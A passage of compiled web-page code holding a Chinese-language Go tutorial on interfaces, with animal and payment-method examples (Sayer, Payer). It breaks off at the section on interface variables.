e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,i.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"\u63a5\u53e3",children:"\u63a5\u53e3"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.strong,{children:"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807"})}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u4e86\u89e3\u4e3a\u4ec0\u4e48\u9700\u8981\u63a5\u53e3\u4ee5\u53ca\u63a5\u53e3\u7684\u7279\u70b9"}),"\n",(0,l.jsx)(e.li,{children:"\u638c\u63e1\u63a5\u53e3\u7684\u58f0\u660e\u548c\u4f7f\u7528"}),"\n",(0,l.jsx)(e.li,{children:"\u638c\u63e1\u63a5\u53e3\u503c\u7684\u6982\u5ff5"}),"\n",(0,l.jsx)(e.li,{children:"\u638c\u63e1\u7a7a\u63a5\u53e3\u7684\u7279\u70b9\u53ca\u5176\u4f7f\u7528\u573a\u666f"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u5728Go\u8bed\u8a00\u4e2d\u63a5\u53e3\uff08interface\uff09\u662f\u4e00\u79cd\u7c7b\u578b\uff0c\u4e00\u79cd\u62bd\u8c61\u7684\u7c7b\u578b\u3002\u76f8\u8f83\u4e8e\u4e4b\u524d\u7ae0\u8282\u4e2d\u8bb2\u5230\u7684\u90a3\u4e9b\u5177\u4f53\u7c7b\u578b\uff08\u5b57\u7b26\u4e32\u3001\u5207\u7247\u3001\u7ed3\u6784\u4f53\u7b49\uff09\u66f4\u6ce8\u91cd\u201c\u6211\u662f\u8c01\u201d\uff0c\u63a5\u53e3\u7c7b\u578b\u66f4\u6ce8\u91cd\u201c\u6211\u80fd\u505a\u4ec0\u4e48\u201d\u7684\u95ee\u9898\u3002\u63a5\u53e3\u7c7b\u578b\u5c31\u50cf\u662f\u4e00\u79cd\u7ea6\u5b9a\u2014\u2014\u6982\u62ec\u4e86\u4e00\u79cd\u7c7b\u578b\u5e94\u8be5\u5177\u5907\u54ea\u4e9b\u65b9\u6cd5\uff0c\u5728Go\u8bed\u8a00\u4e2d\u63d0\u5021\u4f7f\u7528\u9762\u5411\u63a5\u53e3\u7684\u7f16\u7a0b\u65b9\u5f0f\u5b9e\u73b0\u89e3\u8026\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"\u63a5\u53e3\u7c7b\u578b",children:"\u63a5\u53e3\u7c7b\u578b"}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u662f\u4e00\u79cd\u7531\u7a0b\u5e8f\u5458\u6765\u5b9a\u4e49\u7684\u7c7b\u578b\uff0c\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\u5c31\u662f\u4e00\u7ec4\u65b9\u6cd5\u7684\u96c6\u5408\uff0c\u5b83\u89c4\u5b9a\u4e86\u9700\u8981\u5b9e\u73b0\u7684\u6240\u6709\u65b9\u6cd5\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u76f8\u8f83\u4e8e\u4f7f\u7528\u7ed3\u6784\u4f53\u7c7b\u578b\uff0c\u5f53\u6211\u4eec\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u8bf4\u660e\u76f8\u6bd4\u4e8e\u5b83\u662f\u4ec0\u4e48\u66f4\u5173\u5fc3\u5b83\u80fd\u505a\u4ec0\u4e48\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u63a5\u53e3\u7684\u5b9a\u4e49",children:"\u63a5\u53e3\u7684\u5b9a\u4e49"}),"\n",(0,l.jsx)(e.p,{children:"\u6bcf\u4e2a\u63a5\u53e3\u7c7b\u578b\u7531\u4efb\u610f\u4e2a\u65b9\u6cd5\u7b7e\u540d\u7ec4\u6210\uff0c\u63a5\u53e3\u7684\u5b9a\u4e49\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type \u63a5\u53e3\u7c7b\u578b\u540d interface{\n \u65b9\u6cd5\u540d1( \u53c2\u6570\u5217\u88681 ) \u8fd4\u56de\u503c\u5217\u88681\n \u65b9\u6cd5\u540d2( \u53c2\u6570\u5217\u88682 ) \u8fd4\u56de\u503c\u5217\u88682\n \u2026\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsxs)(e.li,{children:["\u63a5\u53e3\u7c7b\u578b\u540d\uff1aGo\u8bed\u8a00\u7684\u63a5\u53e3\u5728\u547d\u540d\u65f6\uff0c\u4e00\u822c\u4f1a\u5728\u5355\u8bcd\u540e\u9762\u6dfb\u52a0",(0,l.jsx)(e.code,{children:"er"}),"\uff0c\u5982\u6709\u5199\u64cd\u4f5c\u7684\u63a5\u53e3\u53eb",(0,l.jsx)(e.code,{children:"Writer"}),"\uff0c\u6709\u5173\u95ed\u64cd\u4f5c\u7684\u63a5\u53e3\u53eb",(0,l.jsx)(e.code,{children:"closer"}),"\u7b49\u3002\u63a5\u53e3\u540d\u6700\u597d\u8981\u80fd\u7a81\u51fa\u8be5\u63a5\u53e3\u7684\u7c7b\u578b\u542b\u4e49\u3002"]}),"\n",(0,l.jsx)(e.li,{children:"\u65b9\u6cd5\u540d\uff1a\u5f53\u65b9\u6cd5\u540d\u9996\u5b57\u6bcd\u662f\u5927\u5199\u4e14\u8fd9\u4e2a\u63a5\u53e3\u7c7b\u578b\u540d\u9996\u5b57\u6bcd\u4e5f\u662f\u5927\u5199\u65f6\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u53ef\u4ee5\u88ab\u63a5\u53e3\u6240\u5728\u7684\u5305\uff08package\uff09\u4e4b\u5916\u7684\u4ee3\u7801\u8bbf\u95ee\u3002"}),"\n",(0,l.jsx)(e.li,{children:"\u53c2\u6570\u5217\u8868\u3001\u8fd4\u56de\u503c\u5217\u8868\uff1a\u53c2\u6570\u5217\u8868\u548c\u8fd4\u56de\u503c\u5217\u8868\u4e2d\u7684\u53c2\u6570\u53d8\u91cf\u540d\u53ef\u4ee5\u7701\u7565\u3002"}),"\n"]}),"\n",(0,l.jsxs)(e.p,{children:["\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u5b9a\u4e49\u4e00\u4e2a\u5305\u542b",(0,l.jsx)(e.code,{children:"Write"}),"\u65b9\u6cd5\u7684",(0,l.jsx)(e.code,{children:"Writer"}),"\u63a5\u53e3\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type Writer interface{\n Write([]byte) error\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u5f53\u4f60\u770b\u5230\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Writer"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u503c\u65f6\uff0c\u4f60\u4e0d\u77e5\u9053\u5b83\u662f\u4ec0\u4e48\uff0c\u552f\u4e00\u77e5\u9053\u7684\u5c31\u662f\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528\u5b83\u7684",(0,l.jsx)(e.code,{children:"Write"}),"\u65b9\u6cd5\u6765\u505a\u4e00\u4e9b\u4e8b\u60c5\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6",children:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6"}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u53e3\u5c31\u662f\u89c4\u5b9a\u4e86\u4e00\u4e2a",(0,l.jsx)(e.strong,{children:"\u9700\u8981\u5b9e\u73b0\u7684\u65b9\u6cd5\u5217\u8868"}),"\uff0c\u5728 Go \u8bed\u8a00\u4e2d\u4e00\u4e2a\u7c7b\u578b\u53ea\u8981\u5b9e\u73b0\u4e86\u63a5\u53e3\u4e2d\u89c4\u5b9a\u7684\u6240\u6709\u65b9\u6cd5\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u79f0\u5b83\u5b9e\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5b9a\u4e49\u7684",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u7c7b\u578b\uff0c\u5b83\u5305\u542b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sing"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Singer \u63a5\u53e3\ntype Singer interface {\n\tSing()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u6709\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Bird"}),"\u7ed3\u6784\u4f53\u7c7b\u578b\u5982\u4e0b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type Bird struct {}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u56e0\u4e3a",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u53ea\u5305\u542b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sing"}),"\u65b9\u6cd5\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u7ed9",(0,l.jsx)(e.code,{children:"Bird"}),"\u7ed3\u6784\u4f53\u6dfb\u52a0\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sing"}),"\u65b9\u6cd5\u5c31\u53ef\u4ee5\u6ee1\u8db3",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u7684\u8981\u6c42\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// Sing Bird\u7c7b\u578b\u7684Sing\u65b9\u6cd5\nfunc (b Bird) Sing() {\n\tfmt.Println("\u6c6a\u6c6a\u6c6a")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u6837\u5c31\u79f0\u4e3a",(0,l.jsx)(e.code,{children:"Bird"}),"\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3",children:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3\uff1f"}),"\n",(0,l.jsx)(e.p,{children:"\u73b0\u5728\u5047\u8bbe\u6211\u4eec\u7684\u4ee3\u7801\u4e16\u754c\u91cc\u6709\u5f88\u591a\u5c0f\u52a8\u7269\uff0c\u4e0b\u9762\u7684\u4ee3\u7801\u7247\u6bb5\u5b9a\u4e49\u4e86\u732b\u548c\u72d7\uff0c\u5b83\u4eec\u997f\u4e86\u90fd\u4f1a\u53eb\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\ntype Cat struct{}\n\nfunc (c Cat) Say() {\n\tfmt.Println("\u55b5\u55b5\u55b5~")\n}\n\ntype Dog struct{}\n\nfunc (d Dog) Say() {\n\tfmt.Println("\u6c6a\u6c6a\u6c6a~")\n}\n\nfunc main() {\n\tc := Cat{}\n\tc.Say()\n\td := Dog{}\n\td.Say()\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u8fd9\u4e2a\u65f6\u5019\u53c8\u8dd1\u6765\u4e86\u4e00\u53ea\u7f8a\uff0c\u7f8a\u997f\u4e86\u4e5f\u4f1a\u53d1\u51fa\u53eb\u58f0\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type Sheep struct{}\n\nfunc (s Sheep) Say() {\n\tfmt.Println("\u54a9\u54a9\u54a9~")\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u63a5\u4e0b\u6765\u5b9a\u4e49\u4e00\u4e2a\u997f\u809a\u5b50\u7684\u573a\u666f\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// MakeCatHungry \u732b\u997f\u4e86\u4f1a\u55b5\u55b5\u55b5~\nfunc MakeCatHungry(c Cat) {\n\tc.Say()\n}\n\n// MakeSheepHungry \u7f8a\u997f\u4e86\u4f1a\u54a9\u54a9\u54a9~\nfunc MakeSheepHungry(s Sheep) {\n\ts.Say()\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u4f1a\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u5c0f\u52a8\u7269\u8dd1\u8fc7\u6765\uff0c\u6211\u4eec\u7684\u4ee3\u7801\u4e16\u754c\u8be5\u600e\u4e48\u62d3\u5c55\u5462\uff1f"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u997f\u809a\u5b50\u8fd9\u4e2a\u573a\u666f\u4e0b\uff0c\u6211\u4eec\u53ef\u4e0d\u53ef\u4ee5\u628a\u6240\u6709\u52a8\u7269\u90fd\u5f53\u6210\u4e00\u4e2a\u201c\u4f1a\u53eb\u7684\u7c7b\u578b\u201d\u6765\u5904\u7406\u5462\uff1f\u5f53\u7136\u53ef\u4ee5\uff01\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u5c31\u53ef\u4ee5\u5b9e\u73b0\u8fd9\u4e2a\u76ee\u6807\u3002 \u6211\u4eec\u7684\u4ee3\u7801\u5176\u5b9e\u5e76\u4e0d\u5173\u5fc3\u7a76\u7adf\u662f\u4ec0\u4e48\u52a8\u7269\u5728\u53eb\uff0c\u6211\u4eec\u53ea\u662f\u5728\u4ee3\u7801\u4e2d\u8c03\u7528\u5b83\u7684",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\uff0c\u8fd9\u5c31\u8db3\u591f\u4e86\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u7ea6\u5b9a\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\uff0c\u5b83\u5fc5\u987b\u5b9e\u73b0\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\uff0c\u53ea\u8981\u997f\u809a\u5b50\u4e86\uff0c\u6211\u4eec\u5c31\u8c03\u7528",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type Sayer interface {\n Say()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u7136\u540e\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u901a\u7528\u7684",(0,l.jsx)(e.code,{children:"MakeHungry"}),"\u51fd\u6570\uff0c\u63a5\u6536",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u7684\u53c2\u6570\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// MakeHungry \u997f\u809a\u5b50\u4e86...\nfunc MakeHungry(s Sayer) {\n\ts.Say()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\uff0c\u628a\u6240\u6709\u4f1a\u53eb\u7684\u52a8\u7269\u5f53\u6210",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u6765\u5904\u7406\uff0c\u53ea\u8981\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\u90fd\u80fd\u5f53\u6210",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u6765\u5904\u7406\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var c cat\nMakeHungry(c)\nvar d dog\nMakeHungry(d)\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u7535\u5546\u7cfb\u7edf\u4e2d\u6211\u4eec\u5141\u8bb8\u7528\u6237\u4f7f\u7528\u591a\u79cd\u652f\u4ed8\u65b9\u5f0f\uff08\u652f\u4ed8\u5b9d\u652f\u4ed8\u3001\u5fae\u4fe1\u652f\u4ed8\u3001\u94f6\u8054\u652f\u4ed8\u7b49\uff09\uff0c\u6211\u4eec\u7684\u4ea4\u6613\u6d41\u7a0b\u4e2d\u53ef\u80fd\u4e0d\u592a\u5728\u4e4e\u7528\u6237\u7a76\u7adf\u4f7f\u7528\u4ec0\u4e48\u652f\u4ed8\u65b9\u5f0f\uff0c\u53ea\u8981\u5b83\u80fd\u63d0\u4f9b\u4e00\u4e2a\u5b9e\u73b0\u652f\u4ed8\u529f\u80fd\u7684",(0,l.jsx)(e.code,{children:"Pay"}),"\u65b9\u6cd5\u8ba9\u8c03\u7528\u65b9\u8c03\u7528\u5c31\u53ef\u4ee5\u4e86\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u518d\u6bd4\u5982\u6211\u4eec\u9700\u8981\u5728\u67d0\u4e2a\u7a0b\u5e8f\u4e2d\u6dfb\u52a0\u4e00\u4e2a\u5c06\u67d0\u4e9b\u6307\u6807\u6570\u636e\u5411\u5916\u8f93\u51fa\u7684\u529f\u80fd\uff0c\u6839\u636e\u4e0d\u540c\u7684\u9700\u6c42\u53ef\u80fd\u8981\u5c06\u6570\u636e\u8f93\u51fa\u5230\u7ec8\u7aef\u3001\u5199\u5165\u5230\u6587\u4ef6\u6216\u8005\u901a\u8fc7\u7f51\u7edc\u8fde\u63a5\u53d1\u9001\u51fa\u53bb\u3002\u5728\u8fd9\u4e2a\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u4ee5\u4e0d\u5173\u6ce8\u6700\u7ec8\u8f93\u51fa\u7684\u76ee\u7684\u5730\u662f\u4ec0\u4e48\uff0c\u53ea\u9700\u8981\u5b83\u80fd\u63d0\u4f9b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Write"}),"\u65b9\u6cd5\u8ba9\u6211\u4eec\u628a\u5185\u5bb9\u5199\u5165\u5c31\u53ef\u4ee5\u4e86\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u4e3a\u4e86\u89e3\u51b3\u7c7b\u4f3c\u4e0a\u9762\u7684\u95ee\u9898\u5f15\u5165\u4e86\u63a5\u53e3\u7684\u6982\u5ff5\uff0c\u63a5\u53e3\u7c7b\u578b\u533a\u522b\u4e8e\u6211\u4eec\u4e4b\u524d\u7ae0\u8282\u4e2d\u4ecb\u7ecd\u7684\u90a3\u4e9b\u5177\u4f53\u7c7b\u578b\uff0c\u8ba9\u6211\u4eec\u4e13\u6ce8\u4e8e\u8be5\u7c7b\u578b\u63d0\u4f9b\u7684\u65b9\u6cd5\uff0c\u800c\u4e0d\u662f\u7c7b\u578b\u672c\u8eab\u3002\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u901a\u5e38\u80fd\u591f\u8ba9\u6211\u4eec\u5199\u51fa\u66f4\u52a0\u901a\u7528\u548c\u7075\u6d3b\u7684\u4ee3\u7801\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b",children:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b"}),"\n",(0,l.jsx)(e.p,{children:"PHP\u3001Java\u7b49\u8bed\u8a00\u4e2d\u4e5f\u6709\u63a5\u53e3\u7684\u6982\u5ff5\uff0c\u4e0d\u8fc7\u5728PHP\u548cJava\u8bed\u8a00\u4e2d\u9700\u8981\u663e\u5f0f\u58f0\u660e\u4e00\u4e2a\u7c7b\u5b9e\u73b0\u4e86\u54ea\u4e9b\u63a5\u53e3\uff0c\u5728Go\u8bed\u8a00\u4e2d\u4f7f\u7528\u9690\u5f0f\u58f0\u660e\u7684\u65b9\u5f0f\u5b9e\u73b0\u63a5\u53e3\u3002\u53ea\u8981\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u4e86\u63a5\u53e3\u4e2d\u89c4\u5b9a\u7684\u6240\u6709\u65b9\u6cd5\uff0c\u90a3\u4e48\u5b83\u5c31\u5b9e\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3\u3002"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u8fd9\u79cd\u8bbe\u8ba1\u7b26\u5408\u7a0b\u5e8f\u5f00\u53d1\u4e2d\u62bd\u8c61\u7684\u4e00\u822c\u89c4\u5f8b\uff0c\u4f8b\u5982\u5728\u4e0b\u9762\u7684\u4ee3\u7801\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u7684\u7535\u5546\u7cfb\u7edf\u6700\u5f00\u59cb\u53ea\u8bbe\u8ba1\u4e86\u652f\u4ed8\u5b9d\u4e00\u79cd\u652f\u4ed8\u65b9\u5f0f\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type ZhiFuBao struct {\n\t// \u652f\u4ed8\u5b9d\n}\n\n// Pay \u652f\u4ed8\u5b9d\u7684\u652f\u4ed8\u65b9\u6cd5\nfunc (z *ZhiFuBao) Pay(amount int64) {\n fmt.Printf("\u4f7f\u7528\u652f\u4ed8\u5b9d\u4ed8\u6b3e\uff1a%.2f\u5143\u3002\\n", float64(amount/100))\n}\n\n// Checkout \u7ed3\u8d26\nfunc Checkout(obj *ZhiFuBao) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n\nfunc main() {\n\tCheckout(&ZhiFuBao{})\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u968f\u7740\u4e1a\u52a1\u7684\u53d1\u5c55\uff0c\u6839\u636e\u7528\u6237\u9700\u6c42\u6dfb\u52a0\u652f\u6301\u5fae\u4fe1\u652f\u4ed8\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type WeChat struct {\n\t// \u5fae\u4fe1\n}\n\n// Pay \u5fae\u4fe1\u7684\u652f\u4ed8\u65b9\u6cd5\nfunc (w *WeChat) Pay(amount int64) {\n\tfmt.Printf("\u4f7f\u7528\u5fae\u4fe1\u4ed8\u6b3e\uff1a%.2f\u5143\u3002\\n", float64(amount/100))\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u5b9e\u9645\u7684\u4ea4\u6613\u6d41\u7a0b\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u7528\u6237\u9009\u62e9\u7684\u652f\u4ed8\u65b9\u5f0f\u6765\u51b3\u5b9a\u6700\u7ec8\u8c03\u7528\u652f\u4ed8\u5b9d\u7684Pay\u65b9\u6cd5\u8fd8\u662f\u5fae\u4fe1\u652f\u4ed8\u7684Pay\u65b9\u6cd5\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Checkout \u652f\u4ed8\u5b9d\u7ed3\u8d26\nfunc CheckoutWithZFB(obj *ZhiFuBao) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n\n// Checkout \u5fae\u4fe1\u652f\u4ed8\u7ed3\u8d26\nfunc CheckoutWithWX(obj *WeChat) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5b9e\u9645\u4e0a\uff0c\u4ece\u4e0a\u9762\u7684\u4ee3\u7801\u793a\u4f8b\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\uff0c\u6211\u4eec\u5176\u5b9e\u5e76\u4e0d\u600e\u4e48\u5173\u5fc3\u7528\u6237\u9009\u62e9\u7684\u662f\u4ec0\u4e48\u652f\u4ed8\u65b9\u5f0f\uff0c\u6211\u4eec\u53ea\u5173\u5fc3\u8c03\u7528Pay\u65b9\u6cd5\u65f6\u80fd\u5426\u6b63\u5e38\u8fd0\u884c\u3002\u8fd9\u5c31\u662f\u5178\u578b\u7684\u201c\u4e0d\u5173\u5fc3\u5b83\u662f\u4ec0\u4e48\uff0c\u53ea\u5173\u5fc3\u5b83\u80fd\u505a\u4ec0\u4e48\u201d\u7684\u573a\u666f\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u8fd9\u79cd\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u4ee5\u5c06\u5177\u4f53\u7684\u652f\u4ed8\u65b9\u5f0f\u62bd\u8c61\u4e3a\u4e00\u4e2a\u540d\u4e3a",(0,l.jsx)(e.code,{children:"Payer"}),"\u7684\u63a5\u53e3\u7c7b\u578b\uff0c\u5373\u4efb\u4f55\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Pay"}),"\u65b9\u6cd5\u7684\u90fd\u53ef\u4ee5\u79f0\u4e3a",(0,l.jsx)(e.code,{children:"Payer"}),"\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Payer \u5305\u542b\u652f\u4ed8\u65b9\u6cd5\u7684\u63a5\u53e3\u7c7b\u578b\ntype Payer interface {\n\tPay(int64)\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\u53ea\u9700\u8981\u4fee\u6539\u4e0b\u539f\u59cb\u7684",(0,l.jsx)(e.code,{children:"Checkout"}),"\u51fd\u6570\uff0c\u5b83\u63a5\u6536\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Payer"}),"\u7c7b\u578b\u7684\u53c2\u6570\u3002\u8fd9\u6837\u5c31\u80fd\u591f\u5728\u4e0d\u4fee\u6539\u65e2\u6709\u51fd\u6570\u8c03\u7528\u7684\u57fa\u7840\u4e0a\uff0c\u652f\u6301\u65b0\u7684\u652f\u4ed8\u65b9\u5f0f\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Checkout \u7ed3\u8d26\nfunc Checkout(obj Payer) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n\nfunc main() {\n\tCheckout(&ZhiFuBao{}) // \u4e4b\u524d\u8c03\u7528\u652f\u4ed8\u5b9d\u652f\u4ed8\n\n\tCheckout(&WeChat{}) // \u73b0\u5728\u652f\u6301\u4f7f\u7528\u5fae\u4fe1\u652f\u4ed8\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u50cf\u7c7b\u4f3c\u7684\u4f8b\u5b50\u5728\u6211\u4eec\u7f16\u7a0b\u8fc7\u7a0b\u4e2d\u4f1a\u7ecf\u5e38\u9047\u5230\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u6bd4\u5982\u4e00\u4e2a\u7f51\u4e0a\u5546\u57ce\u53ef\u80fd\u4f7f\u7528\u652f\u4ed8\u5b9d\u3001\u5fae\u4fe1\u3001\u94f6\u8054\u7b49\u65b9\u5f0f\u53bb\u5728\u7ebf\u652f\u4ed8\uff0c\u6211\u4eec\u80fd\u4e0d\u80fd\u628a\u5b83\u4eec\u5f53\u6210\u201c\u652f\u4ed8\u65b9\u5f0f\u201d\u6765\u5904\u7406\u5462\uff1f"}),"\n",(0,l.jsx)(e.li,{children:"\u6bd4\u5982\u4e09\u89d2\u5f62\uff0c\u56db\u8fb9\u5f62\uff0c\u5706\u5f62\u90fd\u80fd\u8ba1\u7b97\u5468\u957f\u548c\u9762\u79ef\uff0c\u6211\u4eec\u80fd\u4e0d\u80fd\u628a\u5b83\u4eec\u5f53\u6210\u201c\u56fe\u5f62\u201d\u6765\u5904\u7406\u5462\uff1f"}),"\n",(0,l.jsx)(e.li,{children:"\u6bd4\u5982\u6ee1\u51cf\u5238\u3001\u7acb\u51cf\u5238\u3001\u6253\u6298\u5238\u90fd\u5c5e\u4e8e\u7535\u5546\u573a\u666f\u4e0b\u5e38\u89c1\u7684\u4f18\u60e0\u65b9\u5f0f\uff0c\u6211\u4eec\u80fd\u4e0d\u80fd\u628a\u5b83\u4eec\u5f53\u6210\u201c\u4f18\u60e0\u5238\u201d\u6765\u5904\u7406\u5462\uff1f"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u7c7b\u578b\u662fGo\u8bed\u8a00\u63d0\u4f9b\u7684\u4e00\u79cd\u5de5\u5177\uff0c\u5728\u5b9e\u9645\u7684\u7f16\u7801\u8fc7\u7a0b\u4e2d\u662f\u5426\u4f7f\u7528\u5b83\u7531\u4f60\u81ea\u5df1\u51b3\u5b9a\uff0c\u4f46\u662f\u901a\u5e38\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u53ef\u4ee5\u4f7f\u4ee3\u7801\u66f4\u6e05\u6670\u6613\u8bfb\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf",children:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf"}),"\n",(0,l.jsx)(e.p,{children:"\u90a3\u5b9e\u73b0\u4e86\u63a5\u53e3\u53c8\u6709\u4ec0\u4e48\u7528\u5462\uff1f\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf\u80fd\u591f\u5b58\u50a8\u6240\u6709\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684\u7c7b\u578b\u53d8\u91cf\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u4f8b\u